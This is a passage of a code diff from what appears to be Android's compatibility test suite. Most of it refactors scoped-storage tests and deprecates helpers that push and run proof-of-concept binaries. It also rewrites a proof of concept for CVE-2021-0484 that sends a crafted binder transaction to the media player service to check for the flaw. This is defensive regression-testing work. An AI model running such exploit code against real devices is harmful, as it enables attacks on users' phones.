- private static ITestDevice sDevice = null;
- private boolean mIsPublicVolumeSetup = false;
- String executeShellCommand(String cmd) throws Exception {
- return getDevice().executeShellCommand(cmd);
- }
+ private static ITestDevice sDevice;
+ private boolean mIsPublicVolumeSetup;
private void setupNewPublicVolume() throws Exception {
if (!mIsPublicVolumeSetup) {
- assertTrue(runDeviceTests("android.scopedstorage.cts",
- "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
+ assertThat(runDeviceTests("android.scopedstorage.cts",
+ "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"))
+ .isTrue();
mIsPublicVolumeSetup = true;
}
}
@@ -51,8 +49,8 @@
*/
@Override
void runDeviceTest(String phase) throws Exception {
- assertTrue(runDeviceTests("android.scopedstorage.cts",
- "android.scopedstorage.cts.PublicVolumeTest", phase));
+ assertThat(runDeviceTests("android.scopedstorage.cts",
+ "android.scopedstorage.cts.PublicVolumeTest", phase)).isTrue();
}
@Before
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
index c9bd65f..4b38df1 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
@@ -16,7 +16,7 @@
package android.scopedstorage.cts.host;
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -33,8 +33,9 @@
private void setupNewPublicVolume() throws Exception {
if (!mIsPublicVolumeSetup) {
- assertTrue(runDeviceTests("android.scopedstorage.cts",
- "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
+ assertThat(runDeviceTests("android.scopedstorage.cts",
+ "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"))
+ .isTrue();
mIsPublicVolumeSetup = true;
}
}
@@ -51,8 +52,8 @@
*/
@Override
void runDeviceTest(String phase) throws Exception {
- assertTrue(runDeviceTests("android.scopedstorage.cts.legacy",
- "android.scopedstorage.cts.legacy.PublicVolumeLegacyTest", phase));
+ assertThat(runDeviceTests("android.scopedstorage.cts.legacy",
+ "android.scopedstorage.cts.legacy.PublicVolumeLegacyTest", phase)).isTrue();
}
@Before
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index b20342c..9e29480 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -16,13 +16,13 @@
package android.scopedstorage.cts.host;
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
import android.platform.test.annotations.AppModeFull;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.contentprovider.ContentProviderHandler;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
import org.junit.After;
@@ -35,17 +35,18 @@
*/
@RunWith(DeviceJUnit4ClassRunner.class)
@AppModeFull
-public class ScopedStorageHostTest extends BaseHostJUnit4Test {
- private boolean mIsExternalStorageSetup = false;
+public class ScopedStorageHostTest extends BaseHostTestCase {
+ private boolean mIsExternalStorageSetup;
+
+ private ContentProviderHandler mContentProviderHandler;
/**
* Runs the given phase of ScopedStorageTest by calling into the device.
* Throws an exception if the test phase fails.
*/
void runDeviceTest(String phase) throws Exception {
- assertTrue(runDeviceTests("android.scopedstorage.cts",
- "android.scopedstorage.cts.ScopedStorageTest", phase));
-
+ assertThat(runDeviceTests("android.scopedstorage.cts",
+ "android.scopedstorage.cts.ScopedStorageTest", phase)).isTrue();
}
/**
@@ -61,10 +62,6 @@
.setDisableIsolatedStorage(true));
}
- String executeShellCommand(String cmd) throws Exception {
- return getDevice().executeShellCommand(cmd);
- }
-
private void setupExternalStorage() throws Exception {
if (!mIsExternalStorageSetup) {
runDeviceTest("setupExternalStorage");
@@ -74,6 +71,11 @@
@Before
public void setup() throws Exception {
+ // Set up content provider. This would install android.tradefed.contentprovider
+ // which is used to create and delete files/Dir on device side test.
+ mContentProviderHandler = new ContentProviderHandler(getDevice());
+ mContentProviderHandler.setUp();
+
setupExternalStorage();
executeShellCommand("mkdir /sdcard/Android/data/com.android.shell -m 2770");
executeShellCommand("mkdir /sdcard/Android/data/com.android.shell/files -m 2770");
@@ -87,6 +89,7 @@
@After
public void tearDown() throws Exception {
+ mContentProviderHandler.tearDown();
executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
}
@@ -512,14 +515,18 @@
}
private void grantPermissions(String... perms) throws Exception {
+ int currentUserId = getCurrentUserId();
for (String perm : perms) {
- executeShellCommand("pm grant android.scopedstorage.cts " + perm);
+ executeShellCommand("pm grant --user %d android.scopedstorage.cts %s",
+ currentUserId, perm);
}
}
private void revokePermissions(String... perms) throws Exception {
+ int currentUserId = getCurrentUserId();
for (String perm : perms) {
- executeShellCommand("pm revoke android.scopedstorage.cts " + perm);
+ executeShellCommand("pm revoke --user %d android.scopedstorage.cts %s",
+ currentUserId, perm);
}
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
index c97b41f..50fd029 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
@@ -16,12 +16,11 @@
package android.scopedstorage.cts.host;
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
import android.platform.test.annotations.AppModeInstant;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -30,14 +29,14 @@
* Runs the ScopedStorageTest tests for an instant app.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class ScopedStorageInstantAppHostTest extends BaseHostJUnit4Test {
+public class ScopedStorageInstantAppHostTest extends BaseHostTestCase {
/**
* Runs the given phase of Test by calling into the device.
* Throws an exception if the test phase fails.
*/
protected void runDeviceTest(String phase) throws Exception {
- assertTrue(runDeviceTests("android.scopedstorage.cts",
- "android.scopedstorage.cts.ScopedStorageTest", phase));
+ assertThat(runDeviceTests("android.scopedstorage.cts",
+ "android.scopedstorage.cts.ScopedStorageTest", phase)).isTrue();
}
@Test
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 4596cab..414474b 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -109,6 +109,7 @@
* test runs.
*/
static final String NONCE = String.valueOf(System.nanoTime());
+ static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
static final String IMAGE_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".jpg";
static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
@@ -132,7 +133,7 @@
@After
public void teardown() throws Exception {
- executeShellCommand("rm " + getShellFile());
+ deleteFileInExternalDir(getShellFile());
MediaStore.scanFile(getContentResolver(), getShellFile());
}
@@ -221,7 +222,7 @@
final File existingFile = getShellFile();
try {
- executeShellCommand("touch " + existingFile);
+ createFileInExternalDir(existingFile);
MediaStore.scanFile(getContentResolver(), existingFile);
Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
fail("Opening file for read expected to fail: " + existingFile);
@@ -274,7 +275,7 @@
// can open file for read
FileDescriptor fd = null;
try {
- executeShellCommand("touch " + existingFile);
+ executeShellCommand("touch %s", existingFile);
MediaStore.scanFile(getContentResolver(), existingFile);
fd = Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
} finally {
@@ -316,7 +317,7 @@
pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
final File shellFile = getShellFile();
- executeShellCommand("touch " + getShellFile());
+ createFileInExternalDir(shellFile);
MediaStore.scanFile(getContentResolver(), getShellFile());
// can list a non-media file created by other package.
assertThat(Arrays.asList(shellFile.getParentFile().list()))
@@ -384,7 +385,7 @@
new File(TestUtils.getExternalMediaDir(),
"LegacyFileAccessTest2");
try {
- executeShellCommand("touch " + shellFile1);
+ createFileInExternalDir(shellFile1);
MediaStore.scanFile(getContentResolver(), shellFile1);
// app can't rename shell file.
assertCantRenameFile(shellFile1, shellFile2);
@@ -419,7 +420,7 @@
new File(TestUtils.getExternalMediaDir(),
"LegacyFileAccessTest2");
try {
- executeShellCommand("touch " + shellFile1);
+ createFileInExternalDir(shellFile1);
MediaStore.scanFile(getContentResolver(), shellFile1);
// app can't rename shell file.
assertCantRenameFile(shellFile1, shellFile2);
@@ -821,4 +822,14 @@
return new File(TestUtils.getExternalStorageDir(),
"LegacyAccessHostTest_shell");
}
+
+ private void createFileInExternalDir(File file) throws Exception {
+ Log.d(TAG, "Creating file " + file + " in the external Directory");
+ getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
+ }
+
+ private void deleteFileInExternalDir(File file) throws Exception {
+ Log.d(TAG, "Deleting file " + file + " from the external Directory");
+ getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+ }
}
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 9237046..1533d1a 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -170,7 +170,8 @@
/**
* Executes a shell command.
*/
- public static String executeShellCommand(String command) throws IOException {
+ public static String executeShellCommand(String pattern, Object...args) throws IOException {
+ String command = String.format(pattern, args);
int attempt = 0;
while (attempt++ < 5) {
try {
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index abf72f0..eaab320 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -164,7 +164,9 @@
@RunWith(AndroidJUnit4.class)
public class ScopedStorageTest {
static final String TAG = "ScopedStorageTest";
+ static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
static final String THIS_PACKAGE_NAME = getContext().getPackageName();
+ static final int USER_SYSTEM = 0;
/**
* To help avoid flaky tests, give ourselves a unique nonce to be used for
@@ -766,7 +768,7 @@
final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
try {
// TEST_APP_A with storage permission should not see pdf file in DCIM
- executeShellCommand("touch " + pdfFile.getAbsolutePath());
+ createFileUsingTradefedContentProvider(pdfFile);
assertThat(pdfFile.exists()).isTrue();
assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
@@ -774,14 +776,14 @@
assertThat(listAs(TEST_APP_A, getDcimDir().getPath()))
.doesNotContain(NONMEDIA_FILE_NAME);
- executeShellCommand("touch " + videoFile.getAbsolutePath());
+ createFileUsingTradefedContentProvider(videoFile);
// We don't insert files to db for files created by shell.
assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
// TEST_APP_A with storage permission should see video file in Music directory.
assertThat(listAs(TEST_APP_A, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
} finally {
- executeShellCommand("rm " + pdfFile.getAbsolutePath());
- executeShellCommand("rm " + videoFile.getAbsolutePath());
+ deleteFileUsingTradefedContentProvider(pdfFile);
+ deleteFileUsingTradefedContentProvider(videoFile);
MediaStore.scanFile(getContentResolver(), pdfFile);
MediaStore.scanFile(getContentResolver(), videoFile);
uninstallAppNoThrow(TEST_APP_A);
@@ -2094,15 +2096,15 @@
assertAccess(doesntExistPdf, false, false, false);
// We can check only exists for another app's files on root.
- // Use shell to create root file because TEST_APP_A is in
+ // Use content provider to create root file because TEST_APP_A is in
// scoped storage.
- executeShellCommand("touch " + shellPdfAtRoot.getAbsolutePath());
+ createFileUsingTradefedContentProvider(shellPdfAtRoot);
MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
assertFileAccess_existsOnly(shellPdfAtRoot);
} finally {
deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
- executeShellCommand("rm " + shellPdfAtRoot.getAbsolutePath());
+ deleteFileUsingTradefedContentProvider(shellPdfAtRoot);
MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
myAppPdf.delete();
uninstallApp(TEST_APP_A);
@@ -2150,13 +2152,13 @@
assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true, false);
assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false, false);
- executeShellCommand("mkdir " + topLevelDir.getAbsolutePath());
+ createDirUsingTradefedContentProvider(topLevelDir);
assertDirectoryAccess(topLevelDir, true, false);
assertCannotReadOrWrite(new File("/storage/emulated"));
} finally {
uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
- executeShellCommand("rmdir " + topLevelDir.getAbsolutePath());
+ deleteDirUsingTradefedContentProvider(topLevelDir);
}
}
@@ -2212,13 +2214,11 @@
final File podcastsDir = getPodcastsDir();
try {
if (podcastsDir.exists()) {
- // Apps can't delete top level directories, not even default directories, so we let
- // shell do the deed for us.
- executeShellCommand("rm -r " + podcastsDir);
+ deleteDirUsingTradefedContentProvider(podcastsDir);
}
assertThat(podcastsDir.mkdir()).isTrue();
} finally {
- executeShellCommand("mkdir " + podcastsDir);
+ createDirUsingTradefedContentProvider(podcastsDir);
}
}
@@ -2234,7 +2234,7 @@
try {
installApp(TEST_APP_A);
assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
- executeShellCommand("touch " + otherTopLevelFile);
+ createFileUsingTradefedContentProvider(otherTopLevelFile);
MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
// We can list other apps' files
@@ -2247,7 +2247,7 @@
// We can also list all top level directories
assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
} finally {
- executeShellCommand("rm " + otherTopLevelFile);
+ deleteFileUsingTradefedContentProvider(otherTopLevelFile);
MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
uninstallApp(TEST_APP_A);
@@ -2490,6 +2490,8 @@
@Test
public void testWallpaperApisNoPermission() throws Exception {
WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+ assumeTrue("Test skipped as wallpaper is not supported.",
+ wallpaperManager.isWallpaperSupported());
assertThrows(SecurityException.class, () -> wallpaperManager.getFastDrawable());
assertThrows(SecurityException.class, () -> wallpaperManager.peekFastDrawable());
assertThrows(SecurityException.class,
@@ -2696,7 +2698,7 @@
try {
installApp(TEST_APP_A);
assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
- executeShellCommand("touch " + otherTopLevelFile);
+ createFileUsingTradefedContentProvider(otherTopLevelFile);
// We can list other apps' files
assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
@@ -2708,7 +2710,7 @@
// We can also list all top level directories
assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
} finally {
- executeShellCommand("rm " + otherTopLevelFile);
+ deleteFileUsingTradefedContentProvider(otherTopLevelFile);
deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
uninstallApp(TEST_APP_A);
}
@@ -2738,6 +2740,8 @@
@Test
public void testRenameFromShell() throws Exception {
+ // This test is for shell and shell always runs as USER_SYSTEM
+ assumeTrue("Test is applicable only for System User.", getCurrentUser() == USER_SYSTEM);
final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
final File dir = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
final File renamedDir = new File(getMusicDir(), TEST_DIRECTORY_NAME);
@@ -3144,4 +3148,38 @@
assertThrows(ErrnoException.class, () -> { Os.access(file.getAbsolutePath(), mask); });
}
}
+
+ private void createFileUsingTradefedContentProvider(File file) throws Exception {
+ // Files/Dirs are created using content provider. Owner of the Filse/Dirs is
+ // android.tradefed.contentprovider.
+ Log.d(TAG, "Creating file " + file);
+ getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
+ }
+
+ private void createDirUsingTradefedContentProvider(File file) throws Exception {
+ // Files/Dirs are created using content provider. Owner of the Files/Dirs is
+ // android.tradefed.contentprovider.
+ Log.d(TAG, "Creating Dir " + file);
+ // Create a tmp file in the target directory, this would also create the required
+ // directory, then delete the tmp file. It would leave only new directory.
+ getContentResolver()
+ .openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), "w", null);
+ getContentResolver()
+ .delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), null, null);
+ }
+
+ private void deleteFileUsingTradefedContentProvider(File file) throws Exception {
+ Log.d(TAG, "Deleting file " + file);
+ getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+ }
+
+ private void deleteDirUsingTradefedContentProvider(File file) throws Exception {
+ Log.d(TAG, "Deleting Dir " + file);
+ getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+ }
+
+ private int getCurrentUser() throws Exception {
+ String userId = executeShellCommand("am get-current-user");
+ return Integer.parseInt(userId.trim());
+ }
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp
index 0de0391..602f48a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -18,50 +18,40 @@
#include <binder/IServiceManager.h>
#include <media/mediaplayer.h>
-#define PREPARE_DRM 38
-
using namespace android;
int main() {
+ constexpr size_t bufferSize = 16;
+ constexpr uint32_t prepareDrm = 38;
+ constexpr uint32_t unknownTrxnCode = prepareDrm + 5;
sp<IServiceManager> serviceManager = defaultServiceManager();
- if (serviceManager == nullptr) {
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(serviceManager != nullptr);
sp<IBinder> mediaPlayerService =
serviceManager->getService(String16("media.player"));
- if (mediaPlayerService == nullptr) {
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(mediaPlayerService != nullptr);
sp<IMediaPlayerService> iMediaPlayerService =
IMediaPlayerService::asInterface(mediaPlayerService);
- if (iMediaPlayerService == nullptr) {
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(iMediaPlayerService != nullptr);
- MediaPlayer *mediaPlayer = new MediaPlayer();
- if (mediaPlayer == nullptr) {
- return EXIT_FAILURE;
- }
+ sp<MediaPlayer> mediaPlayer = new MediaPlayer();
+ FAIL_CHECK(mediaPlayer != nullptr);
sp<IMediaPlayer> iMediaPlayer = iMediaPlayerService->create(mediaPlayer);
- if (iMediaPlayer == nullptr) {
- delete (mediaPlayer);
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(iMediaPlayer != nullptr);
Parcel data, reply;
data.writeInterfaceToken(iMediaPlayer->getInterfaceDescriptor());
- const uint8_t arr[16] = {};
- data.write(arr, 16);
- data.writeUint32(2);
- data.writeUnpadded(arr, 1);
+ status_t status = IMediaPlayer::asBinder(iMediaPlayer)
+ ->transact(unknownTrxnCode, data, &reply);
+ FAIL_CHECK(status == UNKNOWN_TRANSACTION);
- IMediaPlayer::asBinder(iMediaPlayer)->transact(PREPARE_DRM, data, &reply);
- uint32_t size = 0;
- reply.readUint32(&size);
-
- delete (mediaPlayer);
- return (size > 0) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+ const uint8_t arr[bufferSize] = {};
+ data.write(arr, bufferSize);
+ data.writeUint32(bufferSize);
+ data.writeUnpadded(arr, bufferSize - 1);
+ status =
+ IMediaPlayer::asBinder(iMediaPlayer)->transact(prepareDrm, data, &reply);
+ return status == OK ? EXIT_VULNERABLE : EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 6efcc47..3398367 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,7 +16,10 @@
package android.security.cts;
-import com.android.compatibility.common.util.CrashUtils;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
import com.android.compatibility.common.util.MetricsReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
@@ -24,11 +27,16 @@
import com.android.ddmlib.NullOutputReceiver;
import com.android.ddmlib.CollectingOutputReceiver;
import com.android.sts.common.tradefed.testtype.SecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.device.NativeDevice;
import com.android.tradefed.log.LogUtil.CLog;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
@@ -37,25 +45,15 @@
import java.util.concurrent.TimeoutException;
import java.util.List;
import java.util.Map;
+import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import java.util.concurrent.TimeUnit;
-import java.util.Scanner;
import java.util.Arrays;
import java.util.ArrayList;
-import java.util.concurrent.Callable;
import java.util.Collections;
-
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
import java.util.regex.Pattern;
import java.lang.Thread;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
-
public class AdbUtils {
final static String TMP_PATH = "/data/local/tmp/";
@@ -68,15 +66,18 @@
final static Pattern regexSpecialCharsEscapedPattern =
Pattern.compile("[" + regexSpecialCharsEscaped + "]");
+ /**
+ * @deprecated Use {@link NativePoc} instead.
+ */
+ @Deprecated
public static class pocConfig {
String binaryName;
String arguments;
Map<String, String> envVars;
String inputFilesDestination;
ITestDevice device;
- CrashUtils.Config config;
+ TombstoneUtils.Config config = new TombstoneUtils.Config();
List<String> inputFiles = Collections.emptyList();
- boolean checkCrash = true;
pocConfig(String binaryName, ITestDevice device) {
this.binaryName = binaryName;
@@ -84,12 +85,15 @@
}
}
- /** Runs a commandline on the specified device
+ /**
+ * Runs a commandline on the specified device
*
+ * @deprecated Use {@link CommandUtil} instead.
* @param command the command to be ran
* @param device device for the command to be ran on
* @return the console output from running the command
*/
+ @Deprecated
public static String runCommandLine(String command, ITestDevice device) throws Exception {
if ("reboot".equals(command)) {
throw new IllegalArgumentException(
@@ -101,10 +105,12 @@
/**
* Pushes and runs a binary to the selected device
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @return the console output from the binary
*/
+ @Deprecated
public static String runPoc(String pocName, ITestDevice device) throws Exception {
return runPoc(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
}
@@ -112,11 +118,13 @@
/**
* Pushes and runs a binary to the selected device
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
* @return the console output from the binary
*/
+ @Deprecated
public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
return runPoc(pocName, device, timeout, null);
}
@@ -124,12 +132,14 @@
/**
* Pushes and runs a binary to the selected device
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
* @param arguments the input arguments for the poc
* @return the console output from the binary
*/
+ @Deprecated
public static String runPoc(String pocName, ITestDevice device, int timeout, String arguments)
throws Exception {
CollectingOutputReceiver receiver = new CollectingOutputReceiver();
@@ -140,48 +150,57 @@
/**
* Pushes and runs a binary to the selected device and ignores any of its output.
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
+ @Deprecated
public static void runPocNoOutput(String pocName, ITestDevice device, int timeout)
throws Exception {
runPocNoOutput(pocName, device, timeout, null);
}
/**
- * Pushes and runs a binary with arguments to the selected device and
- * ignores any of its output.
+ * Pushes and runs a binary with arguments to the selected device and ignores any of its output.
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
* @param arguments input arguments for the poc
*/
- public static void runPocNoOutput(String pocName, ITestDevice device, int timeout,
- String arguments) throws Exception {
+ @Deprecated
+ public static void runPocNoOutput(
+ String pocName, ITestDevice device, int timeout, String arguments) throws Exception {
runPoc(pocName, device, timeout, arguments, null);
}
/**
- * Pushes and runs a binary with arguments to the selected device and
- * ignores any of its output.
+ * Pushes and runs a binary with arguments to the selected device and ignores any of its output.
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
* @param arguments input arguments for the poc
* @param receiver the type of receiver to run against
*/
- public static int runPoc(String pocName, ITestDevice device, int timeout,
- String arguments, IShellOutputReceiver receiver) throws Exception {
+ @Deprecated
+ public static int runPoc(
+ String pocName,
+ ITestDevice device,
+ int timeout,
+ String arguments,
+ IShellOutputReceiver receiver)
+ throws Exception {
return runPoc(pocName, device, timeout, arguments, null, receiver);
}
/**
- * Pushes and runs a binary with arguments to the selected device and
- * ignores any of its output.
+ * Pushes and runs a binary with arguments to the selected device and ignores any of its output.
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
@@ -189,9 +208,15 @@
* @param envVars run the poc with environment variables
* @param receiver the type of receiver to run against
*/
- public static int runPoc(String pocName, ITestDevice device, int timeout,
- String arguments, Map<String, String> envVars,
- IShellOutputReceiver receiver) throws Exception {
+ @Deprecated
+ public static int runPoc(
+ String pocName,
+ ITestDevice device,
+ int timeout,
+ String arguments,
+ Map<String, String> envVars,
+ IShellOutputReceiver receiver)
+ throws Exception {
String remoteFile = String.format("%s%s", TMP_PATH, pocName);
SecurityTestCase.getPocPusher(device).pushFile(pocName + "_sts", remoteFile);
@@ -247,9 +272,12 @@
/**
* Assert the poc is executable
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
*/
+ @Deprecated
private static void assertPocExecutable(String pocName, ITestDevice device) throws Exception {
String fullPocPath = TMP_PATH + pocName;
device.executeShellCommand("chmod 777 " + fullPocPath);
@@ -356,7 +384,10 @@
}
/**
* Utility function to help check the exit code of a shell command
+ *
+ * @deprecated Use {@link CommandUtil} instead.
*/
+ @Deprecated
public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
long time = System.currentTimeMillis();
String exitStatusString = runCommandLine(
@@ -378,16 +409,17 @@
}
/**
- * Pushes and runs a binary to the selected device and checks exit code
- * Return code 113 is used to indicate the vulnerability
+ * Pushes and runs a binary to the selected device and checks exit code Return code 113 is used
+ * to indicate the vulnerability
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
@Deprecated
- public static boolean runPocCheckExitCode(String pocName, ITestDevice device,
- int timeout) throws Exception {
+ public static boolean runPocCheckExitCode(String pocName, ITestDevice device, int timeout)
+ throws Exception {
//Refer to go/asdl-sts-guide Test section for knowing the significance of 113 code
return runPocGetExitStatus(pocName, device, timeout) == 113;
@@ -395,11 +427,13 @@
/**
* Pushes and runs a binary to the device and returns the exit status.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param timeout time to wait for output in seconds
-
*/
+ @Deprecated
public static int runPocGetExitStatus(String pocName, ITestDevice device, int timeout)
throws Exception {
return runPocGetExitStatus(pocName, null, device, timeout);
@@ -407,36 +441,49 @@
/**
* Pushes and runs a binary to the device and returns the exit status.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param arguments input arguments for the poc
